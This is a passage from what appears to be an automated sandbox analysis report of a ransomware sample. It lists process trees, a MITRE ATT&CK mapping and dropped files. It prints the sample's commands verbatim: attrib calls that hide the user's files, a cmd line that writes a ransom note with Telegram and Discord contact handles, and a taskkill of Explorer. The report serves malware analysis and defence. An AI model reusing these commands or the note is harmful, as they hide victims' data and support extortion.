                • Hide Artifacts: Hidden Files and Directories
                • System Location Discovery: System Language Discovery
                PID:3596
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • Drops desktop.ini file(s)
                  • Views/modifies file attributes
                  PID:2256
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • Views/modifies file attributes
                  PID:2216
              • C:\Windows\SysWOW64\cmd.exe
                cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @loggerget OR discord rustcrypt 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
                2⤵
                • Hide Artifacts: Hidden Files and Directories
                • System Location Discovery: System Language Discovery
                PID:5876
                • C:\Windows\SysWOW64\attrib.exe
                  attrib +h +s +r +i /D
                  3⤵
                  • Views/modifies file attributes
                  PID:3192
                • C:\Windows\SysWOW64\attrib.exe
                  attrib -h +s +r info-Locker.txt
                  3⤵
                  • System Location Discovery: System Language Discovery
                  • Views/modifies file attributes
                  PID:1920
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill.exe /f /im Explorer.exe
                2⤵
                • Kills process with taskkill
                • Suspicious use of AdjustPrivilegeToken
                PID:5344

            Network

                  MITRE ATT&CK Enterprise v16

                  Reconnaissance

                  Resource Development

                  Initial Access

                  Execution

                  Persistence

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Winlogon Helper DLL

                  1
                  T1547.004

                  Privilege Escalation

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Boot or Logon Autostart Execution

                  2
                  T1547

                  Registry Run Keys / Startup Folder

                  1
                  T1547.001

                  Winlogon Helper DLL

                  1
                  T1547.004

                  Defense Evasion

                  Abuse Elevation Control Mechanism

                  1
                  T1548

                  Bypass User Account Control

                  1
                  T1548.002

                  Hide Artifacts

                  2
                  T1564

                  Hidden Files and Directories

                  2
                  T1564.001

                  Impair Defenses

                  1
                  T1562

                  Disable or Modify Tools

                  1
                  T1562.001

                  Modify Registry

                  4
                  T1112

                  Credential Access

                  Discovery

                  System Information Discovery

                  1
                  T1082

                  System Location Discovery

                  1
                  T1614

                  System Language Discovery

                  1
                  T1614.001

                  Lateral Movement

                  Collection

                  Command and Control

                  Exfiltration

                  Impact

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  info-Locker.txt
                  • Path C:\Users\Admin\Downloads\info-Locker.txt
                  • Size 97B
                  • SHA256 b4f0c687d8a07f16e7fafd0cdac32ed31a730f2ec09178c9b4e3c8138d25fd59
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  memory/5936-0-0x0000000074772000-0x0000000074773000-memory.dmp
                  Download

                  memory/5936-1-0x00000000006D0000-0x00000000006E4000-memory.dmp
                  Download

                  memory/5936-2-0x00000000051D0000-0x000000000526C000-memory.dmp
                  Download

                  memory/5936-3-0x0000000005830000-0x0000000005DEA000-memory.dmp
                  Download

                  memory/5936-4-0x0000000005310000-0x00000000053A2000-memory.dmp
                  Download

                  memory/5936-5-0x00000000052B0000-0x00000000052BA000-memory.dmp
                  Download

                  memory/5936-6-0x0000000005410000-0x0000000005466000-memory.dmp
                  Download

                  memory/5936-7-0x0000000074760000-0x0000000074F1C000-memory.dmp
                  Download

                  memory/5936-8-0x0000000008B30000-0x0000000008B96000-memory.dmp
                  Download

                  memory/5936-22-0x0000000074772000-0x0000000074773000-memory.dmp
                  Download

                  memory/5936-23-0x0000000074760000-0x0000000074F1C000-memory.dmp
                  Download